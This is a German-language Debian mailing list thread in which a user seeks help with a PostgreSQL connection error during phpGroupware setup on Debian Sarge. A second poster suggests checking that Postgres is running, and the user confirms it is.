Moin, als Debian-Neuling bin ich heute auf ein Problem gestoßen, bei dem mir vielleicht jemand helfen kann. Beim Setup via Browser (Mozilla) werde ich aufgefordert, die Datenbank phpgroupware anzulegen. Dieses versuche ich per Button-Betätigung. Dabei erhalte ich im Browserfenster die Fehlermeldung ** Database error: Link-ID == false, connect failed PostgreSQL Error: 1 () Fatal error: Call to a member function on a non-object in /usr/share/phpgroupware/phpgwapi/inc/class.db_pgsql.inc.php on line 485 ** Beim googlen stieß ich auf den gleichen Fehler, der vom Helfenden mit dem Satz schloß: The fix is of course to add one more addslashes to phpgroupware/wiki/setup/default_records.php. Link: http://groups.google.de/groups?q=class.db_pgsql.inc.php+on+line+485hl=delr=ie=UTF-8selm=24zxG-2F0-31%40gated-at.bofh.itrnum=1 Falls irgendwo in die Datei default_records.php etwas verändert werden muß, so kann ich das natürlich tun. Ich weiß nur nicht, was ich tun kann. Im Grunde geht es hier um eine PHPGroupware-Installation, bei der ich lieber PostgrSQL als MySQL verwenden möchte. Mein System: Debian Sarge (DVD vom Linux-Tag) mit Kernel 2.6 Ich bin für jede Hilfe dankbar. Tschüß und schönen Tag noch. Gruß - Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Postgresql bricht bei der Konfiguration mit Fehlermeldung ab
Torsten Schneider schrieb: On Fri, Jul 02, 2004 at 11:19:34AM +0200, Harald Tobias wrote: Database error: Link-ID == false, connect failed PostgreSQL Error: 1 () Ist denn postgres überhaupt installiert und läuft? Postgres lauscht auf Port 5432/tcp. Hallo Torsten, vielen Dank für Deinen Tip. PostgreSQL ist installiert und läuft auch. Mit Webmin kann ich DBs anlegen, User verwalten etc. Daran kann es nicht liegen. Was kann es damit auf sich haben: The fix is of course to add one more addslashes to phpgroupware/wiki/setup/default_records.php. Link: http://groups.google.de/groups?q=class.db_pgsql.inc.php+on+line+485hl=delr=ie=UTF-8selm=24zxG-2F0-31%40gated-at.bofh.itrnum=1 Gruß - Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)